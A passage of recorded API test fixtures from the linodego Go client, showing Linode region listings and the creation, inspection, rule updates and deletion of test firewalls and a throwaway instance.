172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-mzar9128s81w","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 49708338, "label": "go-test-ins-mzar9128s81w", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.4.199"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "42f719224dc77210b2b8ff9ac790522f7650735a", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "741" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{"linodes":[49708338]}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228229, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228229/devices method: GET response: body: '{"data": [{"id": 485839, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "entity": {"id": 49708338, "type": "linode", "label": "go-test-ins-mzar9128s81w", "url": "/v4/linode/instances/49708338"}}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "254" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228229 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708338 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestFirewallRules_Get.yaml000066400000000000000000000130241455402072200316560ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228227, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228227/rules method: GET response: body: '{"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "362" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228227 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestFirewallRules_Update.yaml000066400000000000000000000162601455402072200323660ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228228, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"inbound":[{"action":"DROP","label":"go-fwrule-test_r","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":null,"outbound_policy":"ACCEPT"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228228/rules method: PUT response: body: '{"inbound": [{"action": "DROP", "label": "go-fwrule-test_r", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "227" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228228/rules method: GET response: body: '{"inbound": [{"action": "DROP", "label": "go-fwrule-test_r", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "227" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228228 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestFirewall_Get.yaml000066400000000000000000000123511455402072200306450ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"DROP","label":"linodego-fwrule-test","protocol":"ICMP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":null,"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228233, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "DROP", "label": "linodego-fwrule-test", "protocol": "ICMP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "381" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228233 method: GET response: body: '{"id": 228233, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "DROP", "label": "linodego-fwrule-test", "protocol": "ICMP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "381" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228233 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestFirewall_Update.yaml000066400000000000000000000121771455402072200313560ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"DROP","label":"linodego-fwrule-test","protocol":"ICMP","addresses":{"ipv4":["0.0.0.0/0"]}}],"inbound_policy":"ACCEPT","outbound":null,"outbound_policy":"ACCEPT"},"tags":["test"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228234, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "DROP", "label": "linodego-fwrule-test", "protocol": "ICMP", "addresses": {"ipv4": ["0.0.0.0/0"]}}], "inbound_policy": "ACCEPT", "outbound": null, "outbound_policy": "ACCEPT"}, "tags": ["test"]}' headers: Access-Control-Allow-Credentials: - "true" 